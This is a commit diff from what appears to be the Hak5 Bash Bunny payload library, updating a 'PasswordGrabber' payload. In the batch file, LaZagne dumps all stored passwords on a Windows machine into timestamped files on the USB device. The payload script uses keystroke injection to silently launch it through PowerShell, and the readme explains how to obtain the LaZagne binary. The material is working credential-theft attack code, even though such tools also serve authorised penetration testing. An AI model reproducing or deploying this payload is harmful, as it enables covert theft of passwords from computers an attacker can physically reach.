Moved PasswordGrabber into correct category

payloads/library/credentials/PasswordGrabber/e.cmd

@@ -7,10 +7,13 @@ REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
 REM Creates directory compromised of computer name, date and time
 REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious
 
+REM This executes LaZagne in the current directory and outputs the password file to Loot
+REM Time and Date is also added
 setlocal
 cd /d %~dp0
-%~dp0\laZagne.exe all > %~dp0\..\..\loot\passwords.txt
+%~dp0\laZagne.exe all > %~dp0\..\..\loot\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%_passwords.txt
 
+REM These lines if you just want Passwords and no files.
 set dst=%~dp0\..\..\loot\USB_Exfiltration\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%
 mkdir %dst% >>nul
 

payloads/library/credentials/PasswordGrabber/payload.txt

@@ -1,24 +1,19 @@
 #!/bin/bash
 #
-# Title:         USB Exfiltration
+# Title:         USB Exfiltrator
 # Author:        Hak5Darren
-# Version:       1.0
+# Version:       1.1
 # Target:        Windows XP SP3+
 # Props:         Diggster, IMcPwn
+# Category:      Exfiltration
 # 
 # Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
 # which in turn executes e.cmd invisibly using i.vbs
-# which in turn copies documents to the loot folder on the Bash Bunny.
+# which in turn executes and if stated, copies documents to the loot folder on the Bash Bunny.
 #
 
-# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
-source bunny_helpers.sh
-
-LED R
+LED ATTACK
 ATTACKMODE HID STORAGE
-QUACK SET_LANGUAGE se
-QUACK GUI r
-QUACK DELAY 100
-QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
-QUACK ENTER
-LED G
+DUCKY_LANG se
+RUN WIN powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
+LED FINISH

payloads/library/credentials/PasswordGrabber/readme.md

@@ -2,7 +2,8 @@
 
 * Author: RazerBlade
 * Creds: Hak5Darren, AlessandroZ
-* Version: Version 1.0
+* Version: Version 1.1
+* Firmware support: 1.1
 * Target: Windows
 
 ## Description
@@ -16,7 +17,8 @@ Full read here: https://github.com/AlessandroZ/LaZagne
 By default the payload is identical to the Payload [usb_exfiltrator] but adds some commands to execute LaZagne and save the passwords to the loot folder.
 I have commented out the copy command but if you want copy command and password just remove the remove infront of xcopy
 
-If you are afraid of .exe you can compile your self from his github: https://github.com/AlessandroZ/LaZagne
+Hak5 is not responsible for the execution of 3rd party binaries. Therefore I am not allowed to include it in github. You can easily download the binary from here or compile yourself https://github.com/AlessandroZ/LaZagne
+When compiled or downloaded, just drop it of to the PasswordGrabbers folder and you are good to go!
 
 ## STATUS
 
@@ -26,8 +28,5 @@ If you are afraid of .exe you can compile your self from his github: https://git
 | Green              | Attack Complete                              |
 
 ## Discussion
-[Hak5 Forum Thread]("https://forums.hak5.org/index.php?/topic/40437-payload-passwordgrabber/")
+[Hak5 Forum Thread] https://forums.hak5.org/index.php?/topic/40437-payload-passwordgrabber/
 
-## Future Work
-
-I will try to add mac support and also make the password file appear in the loot folder that [usb_exfiltrator] creates.